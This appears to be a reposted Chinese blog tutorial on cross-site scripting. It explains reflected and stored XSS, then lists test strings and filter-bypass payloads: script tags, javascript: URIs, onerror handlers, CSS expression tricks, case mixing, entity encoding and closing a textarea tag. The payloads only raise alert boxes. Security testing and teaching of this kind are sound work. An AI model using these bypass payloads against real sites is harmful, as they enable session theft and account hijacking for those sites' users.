跨站脚本XSS

XSS漏洞产生的原因是:对用户的输入过滤不足

1.     xss的分类:

a)      反射型xss

                      i.             也成非持久性跨站脚本,最常见使用最多

                    ii.             主要用于将恶意脚本附加到URL地址的参数中

                 iii.             主要出现在网站的搜索栏,用户登录入口等

b)      持久型跨站脚本

                      i.             存储型跨站脚本,能影响到web本身的安全性

                    ii.             将恶意js代码上传或存储到漏洞服务器中

                 iii.             一般出现在网站的的留言、评论、博客中等,浏览就会执行

                  iv.             可以利用此类xss编写xss蠕虫

2.     脚本测试语句

a)      反射型

                      i.             XSS<XSS>""  可能不现实 通过源代码查看是否插入成功

1.       如果成功,输入完整的xss代码: <script>alert("/内容/")</script>  //执行完url路径会发生变化

b)      持久型跨站型 

                      i.             先测试 <script>alert("/内容/")</script>  如果源代码中以纯文本方式存放,可能是程序对xss进行了转义,需要先闭合上级标签

                    ii.             如:<textareaname=”conteng” cols=….>

则应该先闭合他 使用:

</textarea><script>alert(/xss/)</script><textarea>//类似sql注入闭合

 

 

Xss过滤用例

1. 利用<>标记注射html/javascript   如: <script>alert(/xss/)</script>

2. 利用html标签属性值执行xss     如:<imgsrc=”javascript:alert(‘内容’);”>  

如:<table background=”javascript:alert(/内容/)”></table>

3.       空格回车TABL 如:<imgsrc=”javas                cript:alert(/xss/)”width=100>

  Js把;号看为语句终止符,所以可以构造: <img src=”javas

                                                                                                 Cript:

                                                                                                Alert(/xss)”width=100>

4.       对标签属性值转码

<img src=”javascript&#116&#58alert(/xss/);”>

5.       产生自己的事件

不能依靠属性值进行跨站

如:一个正常的事件:<inputtype=”button” value=”clicke me” onclick=”alert(‘click me’)”/>

利用跨站脚本:<img src=”#”onerror=alert(/xss/)>  

//onerror是IMG的一个标记事件,页面错误会立即执行,这个例子中,发生错误会执行 src事件

测试事件还有很多:如:Onresume,Onreverse,Onrowdelete,Onseek….等

6.       利用css跨站剖析

<div style=”background-image:url(javascript:alert(‘xss’))”>

 

绕过过滤规则:

      一个正常的xss输入:  <img src=”javascript:alert(1);”>

         转换大小写:<IMG SRC=”javascript:alert(1);”>

         大小写混合:<IMg sRc=”jaVascript:alert(1);”>

         不用双引用单引:< img src =’javascript:alert(1);’>

         不用引号:< img src =javascript:alert(1);>

         非常规:< img/src =”bnsky.png”alt=bnsky”>    这行和下行只有IE6可以

                            <img/src =”javascript:alert(‘内容’);”>

         利用expression时,可以构造不同的全角字符:

                            <XSSSTYLE=”xss:expression(alert(‘xss’))’>

                            <divstyle=”{left:e x p r e s s I o n (alert(‘xss’))}’>

         样式表中的/**/会被浏览器忽略:

                   <XSSSTYLE=”xss:expr/*xss*/ession(alert(‘xss’))’>

                   <divstyle=”wid/****/th:expressIon(alert(‘xss’))’>

 

         也可以把内容转化成十进制或者十六进制

                   <img/src =”十六进制内容”>

猜你喜欢

转载自blog.csdn.net/xiaotu0821/article/details/80148862